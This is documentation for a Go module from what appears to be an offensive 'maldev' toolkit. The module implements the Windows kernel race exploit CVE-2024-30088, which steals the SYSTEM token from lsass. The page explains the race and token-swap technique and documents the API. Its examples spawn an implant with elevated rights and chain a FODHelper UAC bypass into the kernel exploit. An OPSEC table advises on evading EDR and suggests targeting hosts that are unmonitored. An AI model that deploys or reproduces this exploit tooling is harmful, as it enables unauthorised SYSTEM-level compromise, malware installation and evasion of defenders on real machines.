CVE-2024-30088 — kernel TOCTOU → SYSTEM
← privesc techniques · docs/index
TL;DR
cve202430088.Run(ctx) exploits a Windows kernel TOCTOU race in
AuthzBasepCopyoutInternalSecurityAttributes to swap the calling
thread's primary token with lsass.exe's SYSTEM token. CVSS 7.0,
patched June 2024 (KB5039211). Use only in authorised
engagements — the race is non-deterministic and may BSOD on misfire.
[!WARNING] Race exploits crash kernels when they misfire. The exploit retries until success or context cancellation. Do not run on hosts where a reboot is unacceptable. Always pre-flight with
version.CVE202430088()to confirm the host is in the vulnerable build window.
Primer
AuthzBasepCopyoutInternalSecurityAttributes is invoked by
NtAccessCheckByTypeAndAuditAlarm when the caller queries a
SECURITY_DESCRIPTOR they own. The kernel reads the descriptor,
validates it, and then re-reads to copy. Between the two reads the
attacker swaps the descriptor pointer to a kernel object — the
second read lands inside kernel space and the kernel happily writes
the operator-controlled bytes to the new target.
The write primitive is pivoted into a token swap:
- Locate
lsass.exe's_EPROCESSand read itsToken. - Use the kernel write to overwrite
_EPROCESS.Tokenof the calling process with the SYSTEM token. - Subsequent thread spawns inherit SYSTEM — the elevation is permanent for the process lifetime.
Discovery: k0shl (Angelboy) — DEVCORE. CWE-367.
Affected versions
| OS | Vulnerable until | Patched in |
|---|---|---|
| Windows 10 1507 → 22H2 | June 2024 patch | KB5039211 family |
| Windows 11 21H2 → 23H2 | June 2024 patch | KB5039239 / KB5039212 |
| Windows Server 2016 / 2019 / 2022 / 2022 23H2 | June 2024 patch | KB504xxxx family |
version.CVE202430088() returns the precise vulnerable/patched
state including the UBR cut-off.
How it works
sequenceDiagram
participant U as "User-mode race-thread"
participant K as "Kernel"
participant Lsa as "lsass.exe (PPL)"
par Race thread
U->>U: flip SD ptr → kernel obj
and Probe thread
U->>K: NtAccessCheckByTypeAndAuditAlarm(SD*)
K->>K: read SD (validate)
K->>K: re-read SD (copy)
Note over K: SD ptr now points to kernel obj<br>(race won)
K->>K: kernel write @ controlled addr
end
U->>K: read lsass _EPROCESS.Token
K-->>U: SYSTEM token handle
U->>K: kernel write self._EPROCESS.Token = SYSTEM
K-->>U: success
U->>U: spawn cmd.exe — inherits SYSTEM
Implementation:
Runresolves the kernel symbols it needs viawin/versiongated lookup tables (offsets to_EPROCESS.Token,Pcb.ImageFileName).- Spawns the race thread that flips the descriptor pointer in a tight loop.
- Spawns the probe thread that calls
NtAccessCheckByTypeAndAuditAlarmrepeatedly. - Once a write lands the exploit reads
lsass.Tokenand overwritesself.Token. - By default, spawns
cmd.exeas the post-elevation command. UseRunWithExecto override.
API Reference
type Result struct {
PID int // PID elevated (== current PID)
Spawned *exec.Cmd // post-elev process
Duration time.Duration // wall-clock time the race took
}
type Config struct {
Exec string // default "cmd.exe"
Args []string
Timeout time.Duration // default 30s
}
func DefaultConfig() Config
func Run(ctx context.Context) (*Result, error)
func RunWithExec(ctx context.Context, cfg Config) (*Result, error)
func CheckVersion() (VersionInfo, error)
Run(ctx) (*Result, error)
Parameters:
ctx— cancel via context to abort the race.
Returns:
*Result— populatedPID/Spawned/Durationon success.error—ErrPatchedif pre-flight detects a patched build,ErrTimeoutif the race window expires before success, or wrapped syscall errors for kernel-side failures.
Side effects:
- Modifies the calling process's
_EPROCESS.Tokenpermanently (until process exit). - Spawns
cmd.exe(orConfig.Exec) as the elevated child. - Logs to ETW providers monitored by EDRs (race thread NtCalls).
OPSEC: noisy — see Detection table below.
RunWithExec(ctx, cfg) (*Result, error)
Same as Run but uses cfg.Exec + cfg.Args as the post-elev
command. Use this when you want to spawn an implant directly
instead of cmd.exe.
CheckVersion() (VersionInfo, error)
Companion to version.CVE202430088. Returns
VersionInfo with Vulnerable boolean.
Examples
Simple — pre-flight then run
import (
"context"
"github.com/oioio-space/maldev/privesc/cve202430088"
"github.com/oioio-space/maldev/win/version"
)
if info, _ := version.CVE202430088(); !info.Vulnerable {
return errors.New("host patched")
}
res, err := cve202430088.Run(context.Background())
if err != nil {
return err
}
defer res.Spawned.Wait()
Composed — custom payload spawn
cfg := cve202430088.Config{
Exec: `C:\Users\Public\impl.exe`,
Args: []string{"--once", "--quiet"},
Timeout: 60 * time.Second,
}
res, err := cve202430088.RunWithExec(context.Background(), cfg)
if err != nil {
return err
}
log.Printf("elevated in %s, payload PID %d", res.Duration, res.Spawned.Process.Pid)
Advanced — fall-through chain
admin, elevated, _ := privilege.IsAdmin()
if elevated {
return nil // already there
}
if admin {
if err := uac.FODHelper(payload); err == nil {
return nil
}
// UAC bypass blocked → fall through to kernel exploit
}
if info, _ := version.CVE202430088(); info.Vulnerable {
_, err := cve202430088.Run(ctx)
return err
}
return errors.New("no escalation path available")
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
Tight NtAccessCheckByTypeAndAuditAlarm loop | ETW Microsoft-Windows-Threat-Intelligence | Throttle race thread; accept lower success rate |
_EPROCESS.Token swap detected by snapshot diffing | EDR kernel callbacks (PsSetCreateProcessNotifyRoutineEx) | None — the swap is the goal |
| BSOD on misfire | Crash dump + 0x7E / 0x50 stop code | Pre-flight version check; abort on hardened hosts |
| Post-elev cmd.exe | Process tree (your PID parent of cmd.exe SYSTEM) | Use RunWithExec for in-process payload spawn |
This primitive is in vendor signature databases as of mid-2024. Defender + ESET + Sentinel detect the race window via ETW. Best deployed on hosts you have already determined are unmonitored.
MITRE ATT&CK
- T1068 (Exploitation for Privilege Escalation) — kernel TOCTOU
- T1134.001 (Token Impersonation/Theft) —
_EPROCESS.Tokenswap
Limitations
- Race is non-deterministic. Default 30s timeout — increase via
Config.Timeoutfor hardened hosts where the race window is shorter. - May BSOD on misfire (kernel write to invalid address). The exploit guards against the most common misfires but cannot rule them out.
- Requires
SeChangeNotifyPrivilege(granted to all users) and Windows 10 1507+ — not Win7/8. - Patched hosts (post-June 2024) return
ErrPatchedfrom pre-flight.
See also
win/version—CVE202430088()pre-flightprivesc/uac— non-kernel route when UAC is in playwin/token— companion token primitives